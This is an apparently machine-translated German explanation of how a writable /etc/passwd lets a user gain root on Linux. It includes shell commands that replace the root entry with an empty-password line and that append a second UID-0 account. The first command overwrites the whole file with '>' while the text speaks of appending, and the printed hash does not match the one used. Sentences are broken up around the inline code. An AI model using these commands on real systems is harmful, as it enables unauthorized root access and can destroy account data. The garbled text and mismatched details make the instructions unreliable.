Passwörter werden normalerweise in /etc/shadow
gespeichert , die für Benutzer nicht lesbar ist. Historisch gesehen wurden sie jedoch in der allgemein lesbaren Datei /etc/passwd
gespeichert zusammen mit allen Kontoinformationen. Aus Gründen der Abwärtskompatibilität, wenn ein Passwort-Hash in der zweiten Spalte in /etc/passwd
vorhanden ist , hat es Vorrang vor dem in /etc/shadow
.
Historisch ein leeres zweites Feld in /etc/passwd
bedeutet, dass das Konto kein Passwort hat, d.h. jeder kann sich ohne Passwort anmelden (wird für Gastkonten verwendet). Dies ist manchmal deaktiviert. Wenn passwortlose Konten deaktiviert sind, können Sie den Hash eines Passworts Ihrer Wahl eingeben. Sie können den crypt
verwenden Funktion zum Generieren von Passwort-Hashes, zum Beispiel perl -le 'print crypt("foo", "aa")'
um das Passwort auf foo
zu setzen .
Es ist möglich, Root-Zugriff zu erhalten, selbst wenn Sie nur an /etc/passwd
anhängen können und den Inhalt nicht überschreiben. Das liegt daran, dass es möglich ist, mehrere Einträge für denselben Benutzer zu haben, solange sie unterschiedliche Namen haben – Benutzer werden durch ihre ID identifiziert, nicht durch ihren Namen, und das definierende Merkmal des Root-Kontos ist nicht sein Name, sondern die Tatsache, dass er es ist hat die Benutzer-ID 0. Sie können also ein alternatives Root-Konto erstellen, indem Sie eine Zeile anhängen, die ein Konto mit einem anderen Namen, einem Passwort Ihrer Wahl und der Benutzer-ID 0 angibt.
Geben Sie einfach ein:
echo root::0:0:root:/root:/bin/bash > /etc/passwd
su
und du bist root.
(Entfernen von x
bedeutet, dass root kein Passwort mehr benötigt, Sie können sed
verwenden Befehl anstelle von echo
aber das reicht aus, um die Root-Shell zu bekommen)
Sie können diese zerstörungsfreie Methode verwenden:
# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE
# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd
# to switch to a root2
su root2
Password: mrcake